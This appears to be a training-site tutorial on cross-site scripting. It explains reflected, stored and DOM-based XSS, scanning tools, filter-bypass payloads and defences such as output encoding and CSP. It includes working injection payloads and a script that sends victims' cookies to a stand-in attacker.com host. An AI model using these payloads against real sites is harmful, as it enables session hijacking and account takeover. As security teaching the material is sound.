XSS Cross-Site Scripting Tutorial: Find, Exploit, and Prevent It
Master XSS cross-site scripting from scratch — understand the three attack types, learn to find and exploit vulnerabilities step-by-step, and know how to prevent them. Real commands included.
By V. Kaur
Cross-site scripting (XSS) is one of the most widespread vulnerabilities on the web — and one of the most misunderstood. It consistently appears in the OWASP Top 10, powers real-world attacks ranging from session hijacking to full account takeover, and yet many developers still ship code that's wide open to it. If you're learning web application security, XSS is non-negotiable. This tutorial breaks it down from first principles to hands-on exploitation, so you actually understand what's happening — not just how to paste a payload.
What Is Cross-Site Scripting (XSS)?
Cross-site scripting (XSS) is a client-side injection vulnerability where an attacker injects malicious JavaScript (or other executable code) into a web page viewed by other users. When the victim's browser renders that page, it executes the injected script — in the context of the trusted site.
The core problem: web applications take user-supplied input and reflect it back in HTML without proper encoding. The browser has no way to distinguish the legitimate site's script from the attacker's injected script — they come from the same origin.
XSS consequences range from nuisance to catastrophic:
- Session hijacking — stealing cookies to impersonate users
- Credential harvesting — injecting fake login forms
- Keylogging — capturing every keystroke in the browser
- Defacement — altering what the victim sees
- Drive-by malware — redirecting victims to exploit pages
- CSRF bypass — forcing authenticated actions
> XSS is a client-side vulnerability. The server is the delivery mechanism — the victim's browser is where the damage happens.
The Three Types of XSS
Understanding the three variants is critical because each requires a different discovery and exploitation strategy.
1. Reflected XSS
The payload is embedded in a URL or form field, reflected back in the server's immediate response, and executed in the victim's browser. It requires tricking the victim into clicking a malicious link.
Example: A search page that reflects your query back:
https://example.com/search?q=<script>alert(1)</script>The server renders: You searched for: <script>alert(1)</script> — and the browser executes it.
2. Stored (Persistent) XSS
The payload is saved in the application's database (comment, profile, post, etc.) and served to every user who loads that content. No malicious link needed — just visit the page.
This is the highest-severity variant. A single stored XSS in a comment field on a high-traffic page can hit thousands of users automatically.
3. DOM-Based XSS
The vulnerability lives entirely in the client-side JavaScript. The server never sees the payload — the browser's DOM manipulation scripts read attacker-controlled data (URL fragment, localStorage, postMessage) and write it directly to the DOM.
// Vulnerable sink
document.getElementById('output').innerHTML = location.hash.substring(1);Payload: https://example.com/page#<img src=x onerror=alert(1)>
DOM XSS is harder to find with automated scanners because it requires JavaScript analysis, not just HTTP response inspection.
Tools You Need
Before you start hunting, get your environment set up.
Burp Suite (Community or Pro) — the essential proxy for intercepting and modifying HTTP requests. If you're doing web app testing without Burp, you're going in blind.
Browser DevTools — critical for DOM XSS. The Sources and Console tabs let you trace how JavaScript processes user input.
XSStrike — an intelligent XSS detection tool that analyzes context and generates context-aware payloads:
git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike
pip3 install -r requirements.txt
python3 xsstrike.py -u "https://target.com/search?q=test"Dalfox — fast, accurate XSS scanner with parameter analysis:
go install github.com/hahwul/dalfox/v2@latest
dalfox url "https://target.com/search?q=test"OWASP WebGoat / DVWA / bWAPP — intentionally vulnerable apps for practice. Use these locally before touching any live target.
For a complete guide, see our Web Application Penetration Testing resource which covers the full toolchain for web app assessments.
Step-by-Step: Finding and Exploiting XSS
This walkthrough uses a deliberately vulnerable environment. Never test against targets you don't have written permission to test.
Step 1: Identify Injection Points
Every place user input touches the page is a potential injection point:
- Search boxes, contact forms, comment fields
- URL parameters (?q=, ?name=, ?redirect=)
- HTTP headers reflected in the page (User-Agent, Referer)
- JSON API responses rendered client-side
- File upload filenames displayed in the UI
With Burp Suite running as your proxy, browse the application normally. Review every request in the HTTP history — look for parameters whose values appear in the response body.
Step 2: Probe for Reflection
Start with a unique, harmless string to confirm reflection before injecting payloads:
https://target.com/search?q=XSSTEST12345Check the response source. If you see XSSTEST12345 in the HTML, you have reflection. Now determine the context — where does your input land?
- Between HTML tags: <p>XSSTEST12345</p>
- Inside an attribute: <input value="XSSTEST12345">
- Inside JavaScript: var query = 'XSSTEST12345';
- Inside a URL attribute: <a href="/search?q=XSSTEST12345">
Context determines your payload. Getting this wrong is the most common beginner mistake.
Step 3: Test Basic Payloads
HTML context — between tags:
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>Attribute context — break out of the attribute first:
" onmouseover="alert(1)
" autofocus onfocus="alert(1)
"><script>alert(1)</script>JavaScript string context — break out of the string:
'; alert(1); //
"-alert(1)-"Always use alert(document.domain) rather than just alert(1) — it confirms execution happens in the target's origin, not a sandboxed context.
Step 4: Bypass Filters
Applications often implement naive filters. Here are common bypasses:
Case variation:
<ScRiPt>alert(1)</sCrIpT>Breaking up keywords (if the filter strips script):
<scr<script>ipt>alert(1)</script>Event handlers without <script>:
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>HTML encoding within attributes:
<img src=x onerror="alert(1)">JavaScript pseudo-protocol:
<a href="javascript:alert(1)">click</a>> When a simple alert(1) works in a lab but your actual payload fails, the issue is almost always context or encoding. Go back to Step 2 and re-examine exactly where your input lands in the source.
Step 5: Escalate to a Real Payload
alert(1) proves the vulnerability exists. In a real assessment, you'd demonstrate impact — typically cookie theft:
// Steal session cookie and send to attacker-controlled server
<script>
new Image().src = 'https://attacker.com/steal?c=' + encodeURIComponent(document.cookie);
</script>For a Stored XSS proof-of-concept, a common demonstration is injecting a payload that fires for every visitor and exfiltrates their session token to a listener you control. In bug bounty, always use your own server and include the request log as evidence — never use public XSS hunters or third-party canary services with victim data.
Step 6: Document the Finding
A good XSS report includes:
- Exact URL and parameter name
- The full payload used
- Screenshot of execution (showing document.domain)
- Steps to reproduce
- Business impact assessment
- Remediation recommendation
DOM XSS: A Deeper Dive
DOM XSS deserves special attention because automated scanners frequently miss it.
Open DevTools → Sources → search for dangerous sinks:
document.write()
document.writeln()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML()
eval()
setTimeout() / setInterval() with string arguments
location.hrefThen trace backward to find sources — places where attacker-controlled data enters:
location.search // URL query string
location.hash // URL fragment
location.href
document.referrer
window.name
postMessage
localStorage / sessionStorageIf attacker data flows from a source to a sink without sanitization, you have DOM XSS.
Practical example:
// Source: URL hash. Sink: innerHTML
const name = decodeURIComponent(location.hash.slice(1));
document.querySelector('#welcome').innerHTML = 'Hello, ' + name;Payload URL: https://target.com/profile#<img src=x onerror=alert(document.domain)>
The server never sees the #fragment — it's processed entirely by the browser. Traditional server-side scanners won't catch this. CyberVK's DOM XSS lab walks you through exactly this kind of source-to-sink tracing with interactive exercises.
Common Mistakes That Get Pentesters Stuck
Mistake 1: Ignoring context. Dumping every payload in a list without understanding HTML context leads to nowhere. Always identify context first.
Mistake 2: Only testing <script> tags. Modern apps often block <script> but leave event handlers wide open. Build a payload list that covers all injection contexts.
Mistake 3: Missing encoded reflection. The application might HTML-encode < as < — check if that encoding is applied consistently. Sometimes only the first occurrence is encoded, or encoding is inconsistent in certain character positions.
Mistake 4: Ignoring JSON responses. Single-page applications often fetch data as JSON and render it via JavaScript. If that data reaches a dangerous sink, it's XSS — even though the raw server response looks safe.
Mistake 5: Not checking Content Security Policy. Before spending an hour crafting a bypass, check the Content-Security-Policy response header. A strict CSP can prevent script execution even with a working injection — document both the injection and the CSP as separate findings.
curl -I https://target.com | grep -i content-security-policyMistake 6: Using alert(1) in the final report. For real engagements and bug bounty, demonstrate realistic impact. Show cookie theft or a redirect to a phishing page — alert(1) proves injection but understates the risk.
How to Prevent XSS
As a security practitioner, you need to understand defense — it makes you a better attacker, and it's what you'll recommend in reports.
Output Encoding
The primary defense. Encode all user-supplied data before rendering it in HTML:
- HTML context: encode <, >, &, ", '
- JavaScript context: use JSON.stringify() or a proper JS encoder
- URL context: use encodeURIComponent()
Don't roll your own encoder. Use your framework's built-in escaping — React, Angular, and Vue all escape by default. The vulnerability usually appears when developers bypass these defaults with dangerouslySetInnerHTML, bypassSecurityTrust*, or v-html.
Content Security Policy
A well-configured CSP is a critical second layer of defense:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; object-src 'none';CSP won't eliminate XSS vulnerabilities, but it can prevent script execution even when injection exists — dramatically reducing impact.
Input Validation
Validate input type and format at ingestion, but don't rely on this as your primary XSS defense. Encoding at output is more robust because it's context-aware.
Avoid Dangerous APIs
Audit your JavaScript for direct DOM manipulation with raw strings:
// Dangerous
element.innerHTML = userInput;
// Safe
element.textContent = userInput;Setting Up a Practice Lab
Before testing anywhere real, get hands-on in a controlled environment:
- DVWA (Damn Vulnerable Web Application) — run locally with Docker:
docker run --rm -it -p 80:80 vulnerables/web-dvwa- WebGoat — OWASP's deliberately vulnerable Java app:
docker run -p 8080:8080 -p 9090:9090 webgoat/goat-and-wolf- CyberVK XSS Labs — purpose-built browser-based labs that cover reflected, stored, and DOM XSS with guided walkthroughs. No local setup required — spin up an isolated environment and start testing immediately.
Practice each payload type in context: reflected in a search field, stored in a comment system, and DOM-based via a hash-reading script. Repetition builds the intuition you need to spot these in real assessments.
XSS in Bug Bounty: What Pays
Not all XSS findings are equal in bug bounty programs:
| Type | Typical Severity | Notes |
|---|---|---|
| Stored XSS on authenticated page | High | Impacts all users who visit |
| Stored XSS on public page | Critical | Mass impact |
| Reflected XSS requiring user interaction | Medium | Requires social engineering |
| Self-XSS | Usually N/A | Only affects attacker |
| DOM XSS with CSP bypass | High-Critical | Hard to achieve, high reward |
Self-XSS — where you can only inject JavaScript into your own session — is not typically accepted. Focus on scenarios where an attacker can affect other users.
Go Deeper
This article is part of our comprehensive Web Application Penetration Testing series. Once you've mastered this topic, explore the full guide to level up your skills.
Ready to practice? CyberVK has hands-on labs and courses for every skill level. Start learning at cybervk.com